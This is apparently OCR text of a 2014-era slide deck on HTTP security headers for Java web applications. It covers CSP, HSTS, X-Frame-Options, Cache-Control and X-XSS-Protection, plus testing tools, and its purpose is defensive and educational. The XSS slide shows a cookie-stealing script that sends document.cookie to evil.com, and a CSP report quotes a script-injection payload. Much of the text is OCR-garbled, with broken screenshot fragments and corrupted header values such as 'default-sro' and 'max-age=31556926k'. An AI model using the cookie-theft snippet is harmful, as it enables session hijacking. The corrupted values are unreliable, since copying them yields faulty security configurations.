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Headers are independent of framework & language

response.addHeader (
"header name',
"header value"



User agent must understand and enforce the policy




frontend only one line of defense

Defense-in-depth




Verity that all expected headers reach the browser

Q0

Name

Path

CSS|

o

O V¥V =

all jsp

[security-header/all

| styles.css
=| /security-header/resour Content-Security-Policy: default-src ‘self’; frame-ancestors 'none’

2 requests | 760 8 transferred |...
Console Search Emulation Rendering

Y <top frame>

Elements | Network: Sources Timeline Profiles Resources Audits Console 01 > £ B, x

Preserve log Disable cache

* Meaders Preview Response Cookies Timing

v Response Headers view source

Cache-Control: no-store, no-cache, must-revalidate
Content-Length: 298

Content-Type: text/html;charset=150-8855-1

Date: Thy, 16 Oct 2014 05:33:43 GMT

Expires: wed, 31 Dec 1969 23:59:59 GMT

Server: Apache-Coyote/1.1

Strict-Transport-Security: max-age=31556926; includeSubDomains
X-Content-Type-Options: nosniff

X-Frame-Options: DENY

X-XSS-Protection: 1; mode=block

v Preserve log

@ %Y € > )=  cKonsole HIML CSS Skript DOM  Netzwerk -  Cookies LA ImNetzwe A (v ) OO0

we Leeren Dauerhaft @ HTML CSS  JavaScript  XHR  Bilder  Plug-ins  Medien  Schriften

¥ GET alljsp 200 OK localhost: 8080 2988 127.0.0.1:8079 B 14ms
Header Amtwort HTML Cache Cookies

¥ Antwort-MHeader

Cache-Control =o-store, no-cache, must-revalidate
Content-Length 29%
Content-Type teoxt/htaljcharset~ISO-8859-1
Date Thu, 16 Oct 2014 05:30:17 GMT
Expires Wed, 31 Dec 1969 23:59:59 GuT
Server Apache-Coyote/l.1
Strict-Transport-Security max-age~31556926; includeSubDomains
X-Content-Type-Options nosniff
X-Frame-Options DENY
X-XSS-Protection 1; mode~block
content-security-policy default-sro 'self’; frame-ancestors 'noae’

b




Manipulate response headers with OWASP ZAP

Alerts M0 0 w2 W]

8006 | . ___Untitled Session - OWASP ZAP | | .
Standardmode || | I |B|H/m[FZ[& /ey BIEIB @D M ¢ =iwwiv(iv/o/X /@4 = = )
_ Scripts > Schnellstart =& Request  ¢= Response Skripting-Konsole
v @ @ Sites Header: Text 3 Body:Text ! HEN
¥ . ¥ htp://localhost: 8080 |
| {9 GET:security-header 'Server: Apache-Coyote/1.1
v . ¥ security-header Cache-Control: no-store, no-cache, must-revalidate
- i Expires: Wed, 31 Dec 1969 23:59:59 GMT
- a Content-Security-Policy: default-src 'self'; frame-ancestors ‘none’
Strict-Transport-Security: max-age=31556926k includeSubDomains
» | Yresources X-Content-Type-Options: nosniff
X=Frame-Options: DENY
X~-XSS-Protection: 1; mode=block
Content-Type: text/html;charset=150-8859-1
Content-Length: 298
Date: Thu, 16 Oct 2014 95:40:58 GMT
htel> - o T ]
<head>
<ameta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<link rels"stylesheet" types"text/css" hrefs",../resources/css/styles.css"/>
<title>All Header</title>
</head>
- I
_ < Search A Break Points FU Alerts ) Active Scan # Spider »  "Forced Browse" & Fuzzer p |
@ @ | Filter:OFF
i Req. Timestamp Method URL Code Reason  RTT Size Resp. Body Highest Alert Note Tags .-}
116/10/14 07:30:00 GET http://localhost: 8080/ security-header/ 200 OK 27... 206 KiB I Low Script
216/10/14 07:30:00 CET http://localhost: 8080/ security-header /resou.. 200 OK 7 ms 404 bytes = Low

Current Scans ) 0 #0 0 0 @0 Ho




HTTP Strict Transport Security’
Content Security Policy



Sensitive data stored on the client




response.addHeader (
"Cache-Control ",
"no-store, no-cache,
must-revalidate"

)

response.addDateHeader (
"Expires',
ll_lll

) 7



Cache-Control browser support

¢ € 0
@ @

{




Clickjacking and Ul redressing attacks

——— ¢

¥

CEn A ot -

.
K-Frame-0Options






response.addHeader (
"X-Frame-Options ',
"DENY"

"SAME-ORIGIN"
"ALLOW-FROM [uri]"



X-Frame-Options browser support

ALLOW-FROM only supported
by Firefox and Internet Explorer



OWASP ClickMe to test for clickjacking

Ne /1 sers M0 Chjachnest M -+

Clickjack Test Page

Java Security Header

Each respoase header can be calied in an unprotected and in a prosected version, Every header is addad by a filker, There
are no special pages for HSTS since this header is caly active or inactive for the whole domain,

Brosecied foom
Unprotecied {orm

X-Content-Type-Options

Unprotecied
Prosecied

Cache-Control

Unprotecied
Proges

X-Frame-Options

Unprotecied
Prosecied

Content Security Policy

Unprotecied
Brotecied

About

hetp [/ Nocalhost B80S0/ security - header

Chick Me




Missing protection of sensitive data

HTTP Strict Transport Security (HSTS)




response.addHeader (
"Strict-Transport-Security’,
"max-age=31556926"

) ;

"max-age=31556926; includeSubDomains"



HSTS stops insecure communication

Requires HTTPS connection
No effect on HT TP connections

All resources via HTTPS
Includes scripts, images, ...

: Valid certificate required
v ! No self-signed certificates any
more



The configured duration should never expire

040501

r 20 3“‘“||u||nul

I




Most headers are only used in the active response

.




HTTP Strict Transport Security browser support




Create a single Servlet filter class for each header




Spring Security adds many headers automatically

@ X-Content-Type-Options

@ Cache-Control

@ X-Frame-Options

& HTTP Strict Transport Security
& X-XSS-Protection

Java Config XML Config
<http>
P <headers />
| <!—- -—>






Cross-Site Scripting (XSS)

-

-

Content Security Policy (CSP)




Cross-Site Scripting in a nutshell

Attacker

N
D
el &
D |
O
D
X i
O

User

<script>

var img
img.src

</script>

new Image();
"http://evil.com?"” + document.cookie;



response.addHeader (
"Content-Security-Policy',
"default-src 'self’”

) ;



ing CSP hder

XSS protection active after add
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Content Security Policy directives

default-src
object-src

script-src

connect-src
font-src
frame-src
IMQg-src
media-src

style-src

Default it specific directive is not set
Sources in object, embed or applet tags

Script sources (includes XSLT)

XMLHttpRequest, WebSocket, ...
Font sources

Sources embeddable as frames
Image sources

Video and audio sources

CSS sources (does not include XSLT)



Content Security Policy source list

* script-src * Wildcard

Same origin only

'self script-src 'self’
P (scheme, host, port)
. . . . . | Prevent loading any
none SCript-src none
resource
. script-src Load from
.sample.com . .
scrips.samle.com subdomain

Load any script from

hitps: script-src https: https: origin




response.addHeader (
"Content-Security-Policy",
"default-src 'none’;
script-src 'self' sample.com;
image-src *"

) ;



response.addHeader (
"Content-Security-Policy-Report-Only",
"default-src 'self';
report-uri CSPReporting’



Report only sends a violation report

{

"document-uri":"http://.../reporting. jsp?
name=%3Cscript%3Ealert(%27XSS%27)%3C/script%s3E",

"referrer":"http://localhost:8080/security-header/
index.jsp",

"blocked-uri":"self",

"violated-directive":"default-src http://localhost:8080",

"source-file":"http://.../reporting.jsp?
name=%3Cscript%3Ealert(%27XSS%27)%3C/script%s3E",

"script-sample":"alert('XSS')",

"line-number":10



Use Caspr.io to analyze CSP violation reports

~ x
®00o < Canpr + "

& U & Caspr 0 : ' : w8 + R W

Reports: 0 /1585

Caspr Groupe: 0/ 581

O 0rowped @ Suchec @ 10%-40C - IINe-Ay0 - PRD NCRIOr O -
9 yle-4C - nine-aly'e - MIDs VCagr oW
hOur day AN
ON4C « UNBUNOIDOS-NONE « NID N0

morth @ 1O - UNBUDONROS-NOSE « NID NCaspr K
NGAC - AU hoNt - MR ACaNy oW

Bucket Size: e

mirute hour day 100 L

|

Allowed Directives: 80 ”
¥ oefault o script l

M style ¥ img E 60

b

™ fort ¥ comnect

¥ mecia ™ object 40
| mon | mon = m 1l
Group Limi 2 1N MMM 1l

a0 " Sep 8 204 o0 8 204 o> 1. 20 o8 12, 204 S0 1) 2074 S0 4 2N
Tive (ms)
Number of Graph Serles:
¥ Fiters On
m Last Timestamp Directive Blocked URI Document URI Policy

“ 91414 531 PM style-src ' r0/ m—




Content-Security-Policy Content-Security-
Policy-Report-Only

L ——— -
@ VSJ(".oodérAc.'.erssecﬁgcoM C' v B8 e ®f »
Content Security Policy:
Protected

"csp-report":{



response.addHeader (
"Content-Security-Policy",
"default-src 'none’;
script-src 'self’;
style-src 'self’;
img-src 'self’;
report-uri CSPReporting’



Content Security Policy browser support

Partial support since |E 10



Microsoft Internet Explorer XSS-Protection

response.addHeader (
"X-XSS-Protection’,
"1l:; mode=block”

) ;



Content Security Policy Level 2 adds more options

frame-ancestors Allow resource frame embedding
Obsoletes X-Frame-Options header

reflected-xss (De-)activate user agent XSS heuristics
Obsoletes X-XSS-Protection header

child-src Replaces frame-src

form-action -orm targets to send data to
olugin-types Allowed plug-ins (their MIME type)
referrer Referrer URL exposed to others

sandbox . oad resource In restricted sandbox



response.addHeader (
"Content-Security-Policy',
"default-src 'self’;
frame-ancestors 'none'"’






inning

Implement all headers from the beg




Cyh . herokubpp COm f._‘ B )‘ =~ or - .y E

K YOUR HEADERS

.

L™




Chrome extension to check local web applications

https/Aocalhost:8443/security-header/

"
oon Click the icons in the tables below for a more detalled explanation
wr

HTTP security headers

Name Value

:
§

content-security-policy default-src ‘self' V
x-content-type-options nosniff V
x-frame-options deny | '
sinct-transport-security max-age=31556926, includesubdomains '
cache-control no-siore, no-cache, max-age=0, must-revalidate V
X~ x55-protection 1, mode=bilock v
access-control-allow-origin Header not retumed v
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